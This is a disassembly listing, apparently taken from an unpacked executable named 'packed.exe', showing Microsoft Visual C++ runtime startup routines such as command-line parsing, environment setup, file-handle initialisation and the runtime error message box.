loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2640443h
		nop

loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4421F8
		cmp	dword_442178, edx
		push	esi
		mov	eax, offset dword_442178
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:442178h[esi*4]

loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51

loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:442178h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71

loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4E21D4, 0
		jnz	short loc_422E80
		call	sub_42026D

loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4E21CC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2

loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------

loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC

loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------

loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC

loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6

loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF

loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4E21D4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D

loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4E0B98
		xor	edi, edi

loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi

loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------

loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4E0B50, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4E0B98
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp

loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp

loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4E0B98
		call	sub_41B0B1
		pop	ecx
		mov	dword_4E0B98, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4E21D0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4E21D4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D

loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2670000h
		nop
		mov	eax, dword_4E21CC
		mov	off_4E0B60, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax

loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx

loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4E0B48, esi
		pop	edi
		pop	esi
		mov	dword_4E0B44, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F

loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4E20A1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------

loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi

loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4E20A1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax

loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F

loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA

loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0

loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0

loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF

loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE

loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------

loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------

loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------

loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi

loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1

loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx

loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153

loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0

loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4E20A1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------

loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4E20A1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]

loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]

loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------

loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi

loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------

loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0

loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4E0D08
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4E0D08, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------

loc_4231FF:				; CODE XREF: ___:004231F1j
		call	near ptr 2640000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4E0D08, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------

loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8

loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9

loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C

loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E

loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx

loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]

loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		call	near ptr 26402AFh
		nop
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9

loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2640000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9

loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD

loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3

loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------

loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch

loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		call	near ptr 26402F6h
		nop
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax

loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx

loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4E1E80, esi
		mov	dword_4E1F80, 20h
		lea	eax, [esi+100h]

loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4E1E80
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------

loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 28B0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax

loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4E1F80, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4E1E84

loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4E1F80, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------

loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4E1F80, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------

loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4E1F80

loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432

loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_423429

loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4E1E80[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC

loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx

loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4E1E80
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------

loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 263083Fh
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484

loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h

loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4E1F80
		nop
		call	near ptr 2630C5Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------

loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4E0BA0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43FB74, 1
		jnz	short locret_4235C8

loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4E0D0C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax

loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_442208

loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_442298
		jl	short loc_4235DC

loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_442208[esi]
		jnz	loc_423719
		mov	eax, dword_4E0BA0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43FB74, 1
		jz	loc_4236F3

loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2670000h
		nop
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h

loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_44220C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------

loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_44220C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 263083Fh
		push	eax
		nop
		call	near ptr 26F0000h

loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4E1E80

loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]

loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------

